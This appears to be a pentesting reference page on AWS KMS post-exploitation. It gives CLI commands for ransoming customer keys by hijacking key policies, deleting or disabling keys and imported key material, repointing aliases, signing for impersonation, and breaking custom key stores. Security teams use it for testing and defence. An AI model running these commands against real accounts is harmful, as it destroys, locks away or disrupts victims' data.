# AWS - KMS Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## KMS

For more information check:

{{#ref}}
../../aws-services/aws-kms-enum.md
{{#endref}}

### Encrypt/Decrypt information

`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:

- `fileb://:` Reads the file in binary mode, commonly used for non-text files.
- `file://:` Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements.

> [!TIP]
> Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://)

- Using a **symmetric** key

```bash
# Encrypt data
aws kms encrypt \
    --key-id f0d3d719-b054-49ec-b515-4095b4777049 \
    --plaintext fileb:///tmp/hello.txt \
    --output text \
    --query CiphertextBlob | base64 \
    --decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
    --ciphertext-blob fileb://ExampleEncryptedFile \
    --key-id f0d3d719-b054-49ec-b515-4095b4777049 \
    --output text \
    --query Plaintext | base64 \
    --decode
```

- Using a **asymmetric** key:

```bash
# Encrypt data
aws kms encrypt \
    --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
    --encryption-algorithm RSAES_OAEP_SHA_256 \
    --plaintext fileb:///tmp/hello.txt \
    --output text \
    --query CiphertextBlob | base64 \
    --decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
    --ciphertext-blob fileb://ExampleEncryptedFile \
    --encryption-algorithm RSAES_OAEP_SHA_256 \
    --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
    --output text \
    --query Plaintext | base64 \
    --decode
```

### KMS Ransomware

An attacker with privileged access over KMS could modify the KMS policy of keys and **grant his account access over them**, removing the access granted to the legit account.

Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account.

> [!WARNING]
> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**.

> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI).

```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
    --policy-name default \
    --policy file:///tmp/policy.yaml \
    --bypass-policy-lockout-safety-check

{
    "Id": "key-consolepolicy-3",
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "Enable IAM User Permissions",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::<your_own_account>:root"
            },
            "Action": "kms:*",
            "Resource": "*"
        }
    ]
}
```

> [!CAUTION]
> Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.

<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>

### Generic KMS Ransomware

There is another way to perform a global KMS Ransomware, which would involve the following steps:

- Create a new **key with a key material** imported by the attacker
- **Re-encrypt older data** of the victim encrypted with the previous version with the new one.
- **Delete the KMS key**
- Now only the attacker, who has the original key material could be able to decrypt the encrypted data

### Delete Keys via kms:DeleteImportedKeyMaterial

With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imperted their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.

```bash
aws kms delete-imported-key-material --key-id <Key_ID>
```


### Destroy keys

Destroying keys it's possible to perform a DoS.

```bash
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
    --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
    --pending-window-in-days 7
```

> [!CAUTION]
> Note that AWS now **prevents the previous actions from being performed from a cross account:**

### Change or delete Alias
This attack deletes or redirects AWS KMS aliases, breaking key resolution and causing immediate failures in any services that rely on those aliases, resulting in a denial-of-service. With permissions like `kms:DeleteAlias` or `kms:UpdateAlias` an attacker can remove or repoint aliases and disrupt cryptographic operations (e.g., encrypt, describe). Any service that references the alias instead of the key ID may fail until the alias is restored or correctly remapped.

```bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
  --alias-name alias/<key_alias> \
  --target-key-id <new_target_key>
```

### Cancel Key Deletion
With permissions like `kms:CancelKeyDeletion` and `kms:EnableKey`, an actor can cancel a scheduled deletion of an AWS KMS customer master key and later re-enable it. Doing so recovers the key (initially in Disabled state) and restores its ability to decrypt previously protected data, enabling exfiltration.

```bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
  --key-id <Key_ID>

## Second enable the key
aws kms enable-key \
  --key-id <Key_ID>
```

### Disable Key
With the `kms:DisableKey` permission, an actor can disable an AWS KMS customer master key, preventing it from being used for encryption or decryption. This breaks access for any services that depend on that CMK and can cause immediate disruptions or a denial-of-service until the key is re-enabled.

```bash
 aws kms disable-key \
  --key-id <key_id>
```

### Derive Shared Secret
With the `kms:DeriveSharedSecret` permission, an actor can use a KMS-held private key plus a user-supplied public key to compute an ECDH shared secret.

```bash
aws kms derive-shared-secret \
  --key-id <key_id> \
  --public-key fileb:///<route_to_public_key> \
  --key-agreement-algorithm <algorithm>
```

### Impersonation via kms:Sign
With the `kms:Sign` permission, an actor can use a KMS-stored CMK to cryptographically sign data without exposing the private key, producing valid signatures that can enable impersonation or authorize malicious actions.

```bash
aws kms sign \
  --key-id <key-id> \
  --message fileb://<ruta-al-archivo> \
  --signing-algorithm <algoritmo> \
  --message-type RAW
```

### DoS with Custom Key Stores
With permissions like `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, or `kms:UpdateCustomKeyStore`, an actor can modify, disconnect, or delete an AWS KMS Custom Key Store (CKS), making its master keys inoperable. That breaks encryption, decryption, and signing operations for any services that rely on those keys and can cause an immediate denial-of-service. Restricting and monitoring those permissions is therefore critical.

```bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
```



<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>

{{#include ../../../../banners/hacktricks-training.md}}




